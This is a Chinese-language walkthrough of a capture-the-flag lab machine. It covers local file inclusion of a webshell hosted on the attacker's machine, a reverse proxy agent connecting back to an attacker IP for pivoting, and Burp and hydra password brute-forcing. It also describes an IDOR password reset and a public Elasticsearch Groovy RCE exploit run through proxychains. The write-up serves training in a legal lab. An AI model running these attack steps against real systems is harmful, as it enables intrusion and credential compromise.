前言
这是打靶训练的第三周。难度中等。这个靶机让我花费了大量时间配置ip地址,浪费了太多太多的时间。视频演示,靶机下载链接。
靶机配置
ubuntu网络配置,先看看这篇文章,然后开启靶机,按e键选择下面选项
将ro改为rw single init=/bin/bash后,重启靶机,再次进入GRUB界面,按回车选择上图的选项,即4.15.0-39-generic (recovery mode)。之后选择root那一行,回车进入。
进入命令行后会提示输入密码,密码为root。输入vi /etc/netplan/50-cloud-init.yaml
,按下图编辑网络信息
保存退出后输入以下命令
dhclient ens33
ifconfig ens33 up
reboot # 重启
重启靶机后,即可用nmap扫到ip,如果还扫不到,多次重启靶机。
注意事项
1.http开启在8000端口,这是提交flag用的,请勿攻击
2.flag文件名以 flag.txt存储,提交用flag{}此形式
3.请勿直接关闭靶机,而是暂停vmware
4.在提交flag的时候,webapp 在后台启动 docker 容器,关机会导致失效。
flag1
如下图所示确实开放了8000端口
根据前面的注意事项,http访问8000端口后,先让你熟悉一下flag的形式。提交flag{start}即可通过。
flag2
来到第二关,提示80端口已开放
再次扫描后,确认80端口已开放
来到80端口上的网页,点击Blog Post 1后,观察url发现有/?file=。给我的第一感觉就是文件包含
使用../../../../etc/passwd测试后,存在文件包含漏洞
kali上开启apache服务后,将一句话木马放到web目录下,注意文件后缀名必须是.txt,而不是.php之类的。使用蚁剑连接
在根目录下找到flag,提交flag{the_game_is_on}到下一关。
flag3
让扫描内网主机ip段:172.17.0.3-254
这里要使用内网代理工具Venom,kali使用./admin_linux_x64 -lport 8888
,监听8888端口。
然后将agent_linux_x64上传到靶机。使用./agent_linux_x64 -rhost 192.168.127.137 -rport 8888
,连接kali上面的8888端口。
kali这边开启socks5代理,监听1080端口。
vi /etc/proxychains4.conf
编辑socks配置文件,来到文件最后一行,socks 配置如图所示,让socks5走1080端口。
配置完成后,就可以让nmap等工具走socks5代理,只需要在平常命令前面加proxychains即可。开始进行内网主机扫描
发现172.17.0.4:80 主机,使用火狐配置socks5代理,ip地址和端口,一定要和前面的socks文件保持一致。
可看到上传文件需要密码,所以我们先将三个地方都选择shell.php文件,密码处填写123456,使用burp来爆破。
浏览器代理记得设置走burp,因为使用了socks5代理,所以burp的流量要走socks5。在User options -> Connections -> SOCK5 Proxy即可设置。
爆破得到密码password,上传路径为./photo/21/shell.php
接下来配置蚁剑的socks5代理
测试成功后,连接上木马找到flag,flag{picture_is_worth_1000_words},提交进入下一关
flag4
告诉了用md5加密后的密码和用户名,提示有台主机开放了ssh
解密后的密码
root
toor
password
admin
guest
MORIARTY
MCORP
mcorp
weapons
moriarty
将这些内容放进对应的user.txt和passwd.txt文件中
再次使用nmap扫描开放22端口的主机proxychains nmap -p22 -sT -Pn 172.17.0.3-254
发现172.17.0.5开放22端口,使用hydra进行爆破proxychains hydra -f -L user.txt -P passwd.txt 172.17.0.5 ssh
登录后,同样在根目录找到flag,flag{what_weapons}
flag5
有一台主机可能开放了443,8000,8080,8888端口,并提供了用户名buyer13,密码arms13
继续用nmap,proxychains nmap -p443,8000,8080,8888 -sT -Pn 172.17.0.3-254
扫了一万年,终于得到结果了,使用前面提供的账号登录上去后
点击Chats,知道admin和buyer13两人之间的对话
来到Change your password,输入密码123456
burp抓包,将username=buyer13改为username=admin
使用admin和123456重新登录网站,再次查看聊天记录得到flag,flag{on_the_move}
flag6
得知有个服务器开启Elasticsearch服务
而Elasticsearch有两个默认端口9200和9300
9200 是ES节点与外部通讯使用的端口。它是http协议的RESTful接口。
9300是ES节点之间通讯使用的端口。它是tcp通讯端口。
老规矩nmap扫描后得到 172.17.0.7:9300
也可以尝试访问一下172.17.0.7:9200,得到版本1.4.2。
在1.3.8和1.4.3之前的 Elasticsearch Groovy存在远程命令执行。使用以下命令
searchsploit Elasticsearch
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
proxychains python2 36337.py 172.17.0.7
如果使用exp出错,编辑vi /etc/proxychains4.conf
,找到proxy_dns
改为#proxy_dns
,即可利用成功。
得到最后的flag,flag{game_over},通关界面
hydrr